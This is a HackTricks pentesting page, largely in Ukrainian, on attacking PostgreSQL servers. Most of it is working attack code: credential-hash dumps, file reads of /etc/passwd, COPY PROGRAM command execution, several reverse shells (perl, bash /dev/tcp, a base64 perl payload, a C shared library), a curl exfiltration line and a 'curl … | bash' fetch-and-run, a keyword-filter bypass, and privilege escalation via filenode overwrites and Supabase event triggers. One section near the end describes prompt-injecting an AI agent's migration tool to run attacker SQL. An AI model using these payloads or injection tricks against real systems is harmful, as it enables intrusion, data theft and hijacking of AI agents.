5432,5433 - Pentesting Postgresql

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

Основна інформація

PostgreSQL описується як об’єктно-реляційна система управління базами даних, яка є з відкритим кодом. Ця система не лише використовує мову SQL, але й розширює її додатковими можливостями. Її можливості дозволяють працювати з широким спектром типів даних і операцій, що робить її універсальним вибором для розробників та організацій.

Порт за замовчуванням: 5432, і якщо цей порт вже використовується, здається, що postgresql використає наступний порт (імовірно 5433), який не використовується.

PORT     STATE SERVICE
5432/tcp open  pgsql

Підключення та базове перерахування

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

Warning

Якщо при виконанні \list ви знайдете базу даних з назвою rdsadmin, ви знаєте, що ви перебуваєте всередині AWS postgresql database.

Для отримання додаткової інформації про як зловживати PostgreSQL database дивіться:

PostgreSQL injection

Автоматизована енумерація

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

Згідно з this research, коли спроба підключення не вдається, dblink викидає виняток sqlclient_unable_to_establish_sqlconnection, що містить пояснення помилки. Приклади цих деталей наведено нижче.

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

• Хост недоступний

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Порт закритий

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• Порт відкритий

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

або

DETAIL:  FATAL:  password authentication failed for user "name"

• Порт відкритий або фільтрований

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

У функціях PL/pgSQL наразі неможливо отримати деталі винятків. Проте, якщо у вас є прямий доступ до сервера PostgreSQL, ви можете отримати необхідну інформацію. Якщо витягнути імена користувачів та паролі з системних таблиць неможливо, слід розглянути можливість використання wordlist attack, розглянутого в попередньому розділі, оскільки це може дати позитивний результат.

Перерахування привілеїв

Ролі

Цікаві групи

• Якщо ви є членом pg_execute_server_program, ви можете виконувати програми
• Якщо ви є членом pg_read_server_files, ви можете читати файли
• Якщо ви є членом pg_write_server_files, ви можете записувати файли

Tip

Зверніть увагу, що в Postgres користувач, група і роль — це те саме. Все залежить від того, як ви їх використовуєте, і чи дозволяєте їм входити в систему.

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Таблиці

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Функції

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Дії з файловою системою

Читання каталогів і файлів

З цього commit члени визначеної DEFAULT_ROLE_READ_SERVER_FILES групи (яка називається pg_read_server_files) та super users можуть використовувати метод COPY для будь-якого шляху (див. convert_and_check_filename у genfile.c):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

Warning

Пам’ятайте, що якщо ви не є super user, але маєте права CREATEROLE, ви можете додати себе до тієї групи:

GRANT pg_read_server_files TO username;

More info.

Існують інші postgres функції, які можна використати для читання файлу або переліку директорії. Тільки superusers та користувачі з явними дозволами можуть їх використовувати:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

Ви можете знайти більше функцій на https://www.postgresql.org/docs/current/functions-admin.html

Просте записування файлів

Тільки суперкористувачі та члени pg_write_server_files можуть використовувати copy для запису файлів.

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

Warning

Пам’ятайте, що якщо ви не є super user, але маєте права CREATEROLE, ви можете додати себе до цієї групи:

GRANT pg_write_server_files TO username;

More info.

Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload вам потрібно відправити все в одному рядку.
Важливе обмеження цієї техніки полягає в тому, що copy не може використовуватися для запису бінарних файлів, oскільки він модифікує деякі бінарні значення.

Завантаження бінарних файлів

Проте існують інші методи завантаження великих бінарних файлів:

Big Binary Files Upload (PostgreSQL)

Оновлення даних таблиці PostgreSQL через запис у локальний файл

Якщо у вас є необхідні дозволи на читання та запис файлів сервера PostgreSQL, ви можете оновити будь-яку таблицю на сервері, перезаписавши пов’язаний filenode в the PostgreSQL data directory. More on this technique here.

Необхідні кроки:

1. Отримати директорію даних PostgreSQL

SELECT setting FROM pg_settings WHERE name = 'data_directory';

Note: Якщо ви не можете отримати поточний шлях до директорії даних із налаштувань, ви можете визначити основну версію PostgreSQL через запит SELECT version() і спробувати вгадати шлях перебором. Поширені шляхи директорії даних в Unix-інсталяціях PostgreSQL: /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Поширена назва кластера — main.

2. Отримати відносний шлях до filenode, пов’язаного з цільовою таблицею

SELECT pg_relation_filepath('{TABLE_NAME}')

Цей запит має повернути щось на кшталт base/3/1337. Повний шлях на диску буде $DATA_DIRECTORY/base/3/1337, тобто /var/lib/postgresql/13/main/base/3/1337.

3. Завантажити filenode за допомогою функцій lo_*

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

4. Отримати інформацію про типи даних, пов’язані з цільовою таблицею

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';

5. Використайте the PostgreSQL Filenode Editor для edit the filenode; встановіть всі булеві прапорці rol* в 1 для повних дозволів.

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

6. Повторно завантажте змінений filenode за допомогою функцій lo_*, і перезапишіть оригінальний файл на диску

SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

7. (Опційно) Очистіть кеш таблиці в пам’яті, виконавши ресурсозатратний SQL-запит

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

8. Тепер ви повинні побачити оновлені значення таблиці в PostgreSQL.

Ви також можете стати суперадміном, відредагувавши таблицю pg_authid. See the following section.

RCE

RCE до програми

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

Приклад для exec:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

Warning

Пам’ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE, ви можете додати себе до цієї групи:

GRANT pg_execute_server_program TO username;

More info.

Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit.
More information about this vulnerability тут. While reported as CVE-2019-9193, Postges declared this was a функціональність and will not be fixed.

Bypass keyword filters/WAF to reach COPY PROGRAM

In SQLi contexts with stacked queries, a WAF may remove or block the literal keyword COPY. Ви можете динамічно збудувати оператор і виконати його всередині PL/pgSQL DO-блоку. Наприклад, сформуйте початкову C за допомогою CHR(67), щоб обійти наївні фільтри, і EXECUTE зібраний командний рядок:

DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;

This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.

RCE з PostgreSQL мовами

RCE with PostgreSQL Languages

RCE з PostgreSQL розширеннями

Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.

RCE with PostgreSQL Extensions

PostgreSQL configuration file RCE

Tip

The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements

Конфігураційний файл PostgreSQL є записуваним користувачем postgres, який запускає базу даних, тож як superuser ви можете писати файли в файловій системі і, відповідно, перезаписати цей файл.

RCE з ssl_passphrase_command

More information about this technique here.

У конфігураційному файлі є деякі цікаві атрибути, що можуть призвести до RCE:

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Шлях до приватного ключа бази даних
• ssl_passphrase_command = '' Якщо приватний файл захищений паролем (зашифрований), postgresql виконає команду, вказану в цьому атрибуті.
• ssl_passphrase_command_supports_reload = off Якщо цей атрибут увімкнений (on), то команда, яка буде виконана при захищеному ключі, буде виконана коли викликається pg_reload_conf().

Отже, атакові потрібно:

1. Дампнути приватний ключ із сервера
2. Зашифрувати завантажений приватний ключ:
3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
4. Перезаписати
5. Дампнути поточну конфігурацію postgresql
6. Перезаписати конфіг значеннями згаданих атрибутів:
7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
8. ssl_passphrase_command_supports_reload = on
9. Викликати pg_reload_conf()

Під час тестування я помітив, що це спрацює лише якщо файл приватного ключа має права 640, він належить root і групі ssl-cert або postgres (щоб користувач postgres міг його читати), і розташований в /var/lib/postgresql/12/main.

RCE з archive_command

More information about this config and about WAL here.

Ще один атрибут у конфігураційному файлі, який можна експлуатувати — це archive_command.

Для цього archive_mode має бути 'on' або 'always'. Якщо це так, то ми можемо перезаписати команду в archive_command і примусити її виконатися через операції WAL (write-ahead logging).

Загальні кроки:

1. Перевірити, чи увімкнений archive mode: SELECT current_setting('archive_mode')
2. Перезаписати archive_command на payload. Наприклад, reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
3. Перезавантажити конфіг: SELECT pg_reload_conf()
4. Примусити виконання WAL-операції, яка викличе archive command: SELECT pg_switch_wal() або SELECT pg_switch_xlog() для деяких версій Postgres

Редагування postgresql.conf через Large Objects (SQLi-friendly)

Коли потрібні багаторядкові записи (наприклад, щоб встановити кілька GUCs), використовуйте PostgreSQL Large Objects для читання та повного перезапису конфігурації з SQL. Такий підхід ідеальний у контекстах SQLi, де COPY не може обробити нові рядки або бінарно-безпечні записи.

Example (adjust the major version and path if needed, e.g. version 15 on Debian):

-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
--    and base64-encode its contents, for example:
--    archive_mode = 'always'\n
--    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
--    archive_timeout = 1\n
--    Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions

This yields reliable OS command execution via archive_command as the postgres user, provided archive_mode is enabled. In practice, setting a low archive_timeout can cause rapid invocation without requiring an explicit WAL switch.

RCE with preload libraries

More information about this technique here.

Цей вектор атаки використовує наступні змінні конфігурації:

• session_preload_libraries – бібліотеки, які будуть завантажені сервером PostgreSQL при підключенні клієнта.
• dynamic_library_path – список директорій, де сервер PostgreSQL буде шукати бібліотеки.

Ми можемо встановити значення dynamic_library_path на директорію, записну для користувача postgres, що запускає базу даних, наприклад /tmp/, і завантажити туди шкідливий .so об’єкт. Далі ми змусимо сервер PostgreSQL завантажити нашу щойно завантажену бібліотеку, включивши її в змінну session_preload_libraries.

Кроки атаки:

1. Завантажити оригінальний postgresql.conf
2. Додати директорію /tmp/ у значення dynamic_library_path, наприклад dynamic_library_path = '/tmp:$libdir'
3. Додати назву шкідливої бібліотеки у значення session_preload_libraries, наприклад session_preload_libraries = 'payload.so'
4. Перевірити основну версію PostgreSQL через запит SELECT version()
5. Скомпілювати код шкідливої бібліотеки з відповідним PostgreSQL dev package. Приклад коду:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Compiling the code:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. Завантажити шкідливий postgresql.conf, створений на кроках 2–3, і перезаписати ним оригінальний
7. Завантажити payload.so з кроку 5 у директорію /tmp
8. Перезавантажити конфігурацію сервера, перезапустивши сервер або викликавши запит SELECT pg_reload_conf()
9. При наступному підключенні до БД ви отримаєте reverse shell connection.

Postgres Privesc

CREATEROLE Privesc

Grant

According to the docs: Ролі, що мають привілей CREATEROLE, можуть надавати або відкликати членство в будь-якій ролі, яка не є superuser.

Тому, якщо у вас є привілегія CREATEROLE, ви можете надати собі доступ до інших roles (які не є superuser), що може дати вам можливість читати й записувати файли та виконувати команди:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Змінити пароль

Користувачі з цією роллю також можуть змінювати паролі інших користувачів, які не є суперкористувачами:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

Дуже часто трапляється, що локальні користувачі можуть підключатися до PostgreSQL без вказування пароля. Отже, як тільки ви отримали права на виконання коду, ви можете зловживати ними, щоб отримати роль SUPERUSER:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

Tip

Це зазвичай можливо через такі рядки у файлі pg_hba.conf:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

In this writeup пояснюється, як було можливе privesc у Postgres на GCP шляхом зловживання привілеєм ALTER TABLE, який було надано користувачу.

When you try to зробити іншого користувача власником таблиці you should get an помилку preventing it, but apparently GCP gave that опцію користувачу postgres, який не є суперкористувачем in GCP:

Поєднавши цю ідею з тим фактом, що коли команди INSERT/UPDATE/ANALYZE виконуються над таблицею з функцією індексу, ця функція викликається як частина команди з правами власника таблиці. Можна створити індекс з функцією і надати права власника суперкористувачу для цієї таблиці, а потім запустити ANALYZE над таблицею зі шкідливою функцією — вона зможе виконувати команди, оскільки працює з привілеями власника.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

1. Почніть зі створення нової таблиці.
2. Вставте якийсь неважливий вміст у таблицю, щоб забезпечити дані для індексної функції.
3. Розробіть шкідливу індексну функцію, яка містить payload для виконання коду, що дозволяє виконувати неавторизовані команди.
4. ALTER власника таблиці на “cloudsqladmin”, який є роллю суперкористувача в GCP, що використовується виключно Cloud SQL для управління та обслуговування бази даних.
5. Виконайте операцію ANALYZE на таблиці. Ця дія змушує движок PostgreSQL переключитися в контекст користувача власника таблиці, “cloudsqladmin”. Як наслідок, шкідлива індексна функція викликається з правами “cloudsqladmin”, що дозволяє виконати раніше неавторизовану shell-команду.

In PostgreSQL, this flow looks something like this:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Тоді таблиця shell_commands_results буде містити вивід виконаного коду:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Локальний вхід

Деякі неправильно налаштовані екземпляри postgresql можуть дозволяти вхід будь-якому локальному користувачу; можливо підключитися локально з 127.0.0.1, використовуючи функцію dblink:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Warning

Зауважте, що для роботи попереднього запиту функція dblink має існувати. Якщо її немає, можна спробувати створити її за допомогою

CREATE EXTENSION dblink;

Якщо у вас є пароль користувача з більшими привілеями, але цьому користувачу не дозволено login з external IP, ви можете використати наступну функцію, щоб виконувати запити від імені цього користувача:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Можна перевірити, чи існує ця функція за допомогою:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Користувацька функція з SECURITY DEFINER

In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they знайшли цю функцію з прапорцем SECURITY DEFINER:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

As explained in the docs a function with SECURITY DEFINER виконується з привілеями користувача, який є її власником. Тому, якщо функція вразлива до SQL Injection або виконує якісь привілейовані дії з параметрами, контрольованими атакуючим, її можна використати для ескаляції привілеїв всередині postgres.

У рядку 4 попереднього коду видно, що функція має прапорець SECURITY DEFINER.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

А потім execute commands:

Pass Burteforce with PL/pgSQL

PL/pgSQL — це повнофункціональна мова програмування, яка надає більший процедурний контроль порівняно з SQL. Вона дозволяє використовувати цикли та інші структури керування для ускладнення логіки програми. Крім того, SQL statements та triggers можуть викликати функції, створені з використанням PL/pgSQL language. Це інтеграція дозволяє більш комплексний і гнучкий підхід до програмування та автоматизації баз даних.
Ви можете зловживати цією мовою, щоб змусити PostgreSQL виконувати brute-force паролів користувачів.

PL/pgSQL Password Bruteforce

Privesc шляхом перезапису внутрішніх таблиць PostgreSQL

Tip

Наступний privesc вектор особливо корисний у контекстах обмеженого SQLi, оскільки всі кроки можуть бути виконані через вкладені SELECT statements

Якщо ви можете читати та записувати файли сервера PostgreSQL, ви можете стати суперкористувачем, перезаписавши on-disk filenode PostgreSQL, пов’язаний з внутрішньою таблицею pg_authid.

Детальніше про цю техніку — тут.

Кроки атаки:

1. Отримайте директорію даних PostgreSQL
2. Отримайте відносний шлях до filenode, пов’язаного з таблицею pg_authid
3. Завантажте filenode через lo_* functions
4. Отримайте тип даних, пов’язаний з таблицею pg_authid
5. Використайте PostgreSQL Filenode Editor щоб відредагувати filenode; встановіть усі булеві прапори rol* в 1 для повних дозволів.
6. Повторно завантажте відредагований filenode через lo_* functions і перезапишіть оригінальний файл на диску
7. (Опційно) Очистіть кеш таблиць в пам’яті, виконавши ресурсоємний SQL-запит
8. Тепер ви повинні мати привілеї повного суперадміністратора.

Prompt-injecting managed migration tooling

AI-heavy SaaS frontends (наприклад, Lovable’s Supabase agent) часто відкривають LLM “tools”, які виконують міграції від імені високо-привілейованих service accounts. Практичний робочий процес:

1. Визначте, хто фактично застосовує міграції:

SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;

2. Prompt-inject the agent into running attacker SQL via the privileged migration tool. Подання payloads як “please verify this migration is denied” систематично обходить базові засоби захисту.
3. Як тільки arbitrary DDL виконається в цьому контексті, негайно створіть attacker-owned tables або extensions, які забезпечать persistence для вашого low-privileged account.

Tip

Див. також загальний AI agent abuse playbook для додаткових prompt-injection techniques проти tool-enabled assistants.

Dumping pg_authid metadata via migrations

Privileged migrations можуть stageувати pg_catalog.pg_authid` у attacker-readable table, навіть якщо прямий доступ заблоковано для вашої звичайної ролі.

Користувачі з низькими привілеями тепер можуть читати public.ai_models, щоб отримати SCRAM hashes і метадані ролей для offline cracking або lateral movement.

Event-trigger privesc під час встановлення розширення postgres_fdw

Керовані деплойменти Supabase покладаються на розширення supautils, яке обгортає CREATE EXTENSION скриптами, що належать провайдеру (before-create.sql/after-create.sql), і виконує їх як справжні суперкористувачі. Скрипт after-create для postgres_fdw короткочасно виконує ALTER ROLE postgres SUPERUSER, запускає ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres, а потім повертає postgres назад до NOSUPERUSER. Оскільки ALTER FOREIGN DATA WRAPPER викликає подієві тригери ddl_command_start/ddl_command_end у той час, коли current_user є суперкористувачем, тригери, створені орендарем, можуть виконувати зловмисний SQL у цьому вікні.

Exploit flow:

1. Створіть PL/pgSQL event trigger функцію, яка перевіряє SELECT usesuper FROM pg_user WHERE usename = current_user і, якщо істина, створює бекдор-роль (наприклад, CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123').
2. Зареєструйте функцію на обох ddl_command_start та ddl_command_end.
3. DROP EXTENSION IF EXISTS postgres_fdw CASCADE; а потім CREATE EXTENSION postgres_fdw; щоб повторно виконати Supabase’s after-create hook.
4. Коли hook підвищує привілеї postgres, тригер виконається, створить постійну роль SUPERUSER і надасть її назад postgres для зручного доступу через SET ROLE.

</details>

Supabase’s attempt to skip unsafe triggers only checks ownership, so ensure the trigger function owner is your low-privileged role, but the payload executes only when the hook flips `current_user` into SUPERUSER. Because the trigger re-runs on future DDL, it doubles as a self-healing persistence backdoor whenever the provider briefly elevates tenant roles.

### Перетворення тимчасового доступу SUPERUSER у компрометацію хоста

Після успішного виконання `SET ROLE priv_esc;` повторно запустіть раніше заблоковані примітиви:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';

find / -perm -4000 -type f 2>/dev/null

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db